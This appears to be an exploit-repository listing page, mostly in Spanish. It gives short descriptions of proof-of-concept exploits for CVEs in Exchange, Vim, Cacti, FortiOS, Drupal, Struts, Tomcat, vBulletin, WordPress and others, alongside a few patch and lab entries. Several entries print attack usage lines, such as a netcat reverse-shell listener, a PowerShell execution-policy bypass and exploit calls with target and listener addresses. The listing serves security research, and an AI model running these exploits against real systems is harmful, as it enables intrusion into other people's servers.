CVE-2021-26855

CVE-2021-26855 CVE-2021-26855, también conocido como Proxylogon, es una vulnerabilidad de falsificación de solicitudes del lado del servidor SSRF en Exchange que permite a un atacante enviar solicitudes HTTP arbitrarias y autenticarse como el servidor Exchange. Según Orange Tsai, el investigador...

CVE-2019-12735

CVE-2019-12735 Este CVE fue corregido después de neovim 0.3.6 y vim 8.1.1365 POC root@kitploit: vim demo1.txt Shell remota 1. Crea el archivo de texto malicioso: root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. Compila el cliente en otra sesión: root@kitploit: nc -vlp 9999 3. Abre el...

CVE-2022-46169

CVE-2022-46169 This repository contains a Proof of Concept PoC for CVE-2022-46169 - Unauthenticated RCE on Cacti = 1.2.22 by chaining an Authentication Bypass and a Command Injection, described by Sonar in this blog post. The same vulnerabilities were also discovered by: Steven Seeley mrme of...

CVE-2020-0688

CVE-2020-0688 Script de explotación para CVE-2020-0688 "Vulnerabilidad de deserialización de MachineKeySection predeterminada de Microsoft Exchange" Uso: root@kitploit: powershell -exec bypass -file .\CVE-2020-0688.ps1 -xaml -uri Ejemplo: Este es un ejemplo de validación de vulnerabilidad...

CVE-2022-48311

CVE-2022-48311 HP Deskjet 2540 series impresora versión de firmware CEP1FN1418BR y número de modelo de producto A9U23B página de configuración HTTP vulnerabilidad de Cross Site Scripting XSS Description Cross Site Scripting XSS en la impresora HP Deskjet 2540 series, versión de firmware...

CVE-2023-25610

CVE-2023-25610 Desbordamiento inferior de heap en la interfaz de administración de FortiOS que conduce a la ejecución remota de código. Alcance y limitaciones 1. Fortinet 6.x 2. Basado en TLSv1.3, pueden existir diferencias en otras versiones de TLS. Uso python3 cve-2022-42475.py rhost rport lhos...

Log4jPatch

-- Este repositorio ha sido archivado -- El desarrollo posterior de esta herramienta continuará en corretto/hotpatch-for-apache-log4j2. ¡Gracias por compartir, comentar, probar y contribuir a este proyecto! Log4jPatch Esta es una POC de una herramienta simple que inyecta un agente Java en un...

THM-Steel_Mountain-CVE-2014-6287

THM-SteelMountain-CVE-2014-6287 Un análisis de la máquina Steel Mountain de TryHackMe.com y el exploit para CVE-2014-6287 Créditos No me atribuyo el mérito del descubrimiento y la explotación originales de esta vulnerabilidad. ¡Gracias a las siguientes personas! Descubrimiento: Daniele Linguaglos...

poc-cve-2025-69219

CVE-2025-69219 apache airflow deserialización insegura a RCE 1. Copia poc.py en tu directorio de DAGs de Airflow. 2. Ejecuta el flujo de trabajo poc desde la interfaz de usuario UI. 3. Revisa los registros logs de la tarea para ver la salida de ejecución...

CVE-2018-7600

Prueba de concepto para CVE-2018-7600 / SA-CORE-2018-002 codebeat badge Drupal antes de la versión 7.58, 8.x antes de la 8.3.9, 8.4.x antes de la 8.4.6 y 8.5.x antes de la 8.5.1 permite a atacantes remotos ejecutar código arbitrario debido a un problema que afecta a múltiples subsistemas con...

CVE-2026-33017

🚨 CVE-2026-33017 - Ejecución remota de código crítica sin autenticación en Langflow Las versiones ≤ 1.8.2 de Langflow contienen una grave vulnerabilidad de seguridad que permite a atacantes no autenticados lograr la ejecución remota de código RCE en el servidor. 📊 Detalles de la vulnerabilidad...

0-click-RCE-Exploit-for-CVE-2024-50498

CVE-2024-50498 / 0-Click RCE Exploit Autor: Joshua Provoste https://x.com/JoshuaProvoste/status/1858512517774868845 Este repositorio contiene un exploit de prueba de concepto para CVE-2024-50498, una vulnerabilidad de inyección de código no autenticada en el plugin LUBUS WP Query Console de...

CVE-2020-17530

CVE-2020-17530 Prueba de concepto rápida para CVE-2020-17530. En Apache Struts versiones 2.0.0 - 2.5.25, una evaluación forzada del Lenguaje de Navegación de Grafos de Objetos OGNL sobre la entrada de usuario sin procesar en atributos de etiquetas puede conducir a la ejecución remota de código RC...

cve-2025-24813-poc

CVE-2025-24813 PoC de Exploit RCE en Apache Tomcat Este repositorio contiene un exploit de prueba de concepto para CVE-2025-24813, una vulnerabilidad de deserialización de Java en Apache Tomcat. Basado en absholi7ly/POC-CVE-2025-24813/. Requisitos previos Docker Configuración 1. Instalar...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.0 5.5.4 - 'widgetphp' Ejecución Remota de Código No Autenticada Consola de línea de comandos de estilo interactivo para CVE-2019-16759 Uso: root@kitploit: python3 exploit.py Introduce el sitio con Http/Https y obtén la Shell :p...

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend

ToolShell-CVE-2025-53770-SharePoint-Exploit-Lab-LetsDefend TL;DR Oye, en este laboratorio de LetsDefend me sumergí en un zero‑day de SharePoint llamado ToolShell CVE‑2025‑53770. Básicamente, simulé un ataque real donde una petición POST maliciosa eludió la autenticación, ejecutó PowerShell para...

l4j-info

l4j-info Recopilando enlaces valiosos a medida que los encuentro documentando CVE-2021-44228 o Log4J Avisos críticos de primera parte: La vulnerabilidad existente de Log4J 1.2 CVE-2019-17571 también está potencialmente presente Información de seguridad de Apache Log4J Versión 2.x Aviso de...

CVE-2016-10033

PoC para CVE-2016-10033 RCE contra WordPress 4.6 uso: root@kitploit: ./CVE-2016-10033.py ejemplo: root@kitploit: ./CVE-2016-10033.py http://site.com/ 1.2.3.4:4444 admin Adaptación a Python +modificaciones de https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html...

CVE-2019-5736-PoC

CVE-2019-5736-PoC PoC para CVE-2019-5736 Creado con ayuda de @singe, @cablethief, y @feexd Probado en Ubuntu 18.04, Debian 9 y Arch Linux. Versiones de Docker 18.09.1-ce y 18.03.1-ce. Este PoC actualmente no funciona con Ubuntu 16.04 y CentOS. Ve a ver el código del exploit de Dragon Sector las...

CVE-2017-0199-Fix

Corrección de CVE-2017-0199 Eliminar la capacidad de CVE-2017-0199 de ejecutar código cambiando el controlador predeterminado para archivos .hta. El controlador predeterminado para archivos invocados a través de OLE2 Objetos COM se almacena por separado de la aplicación predeterminada del sistema...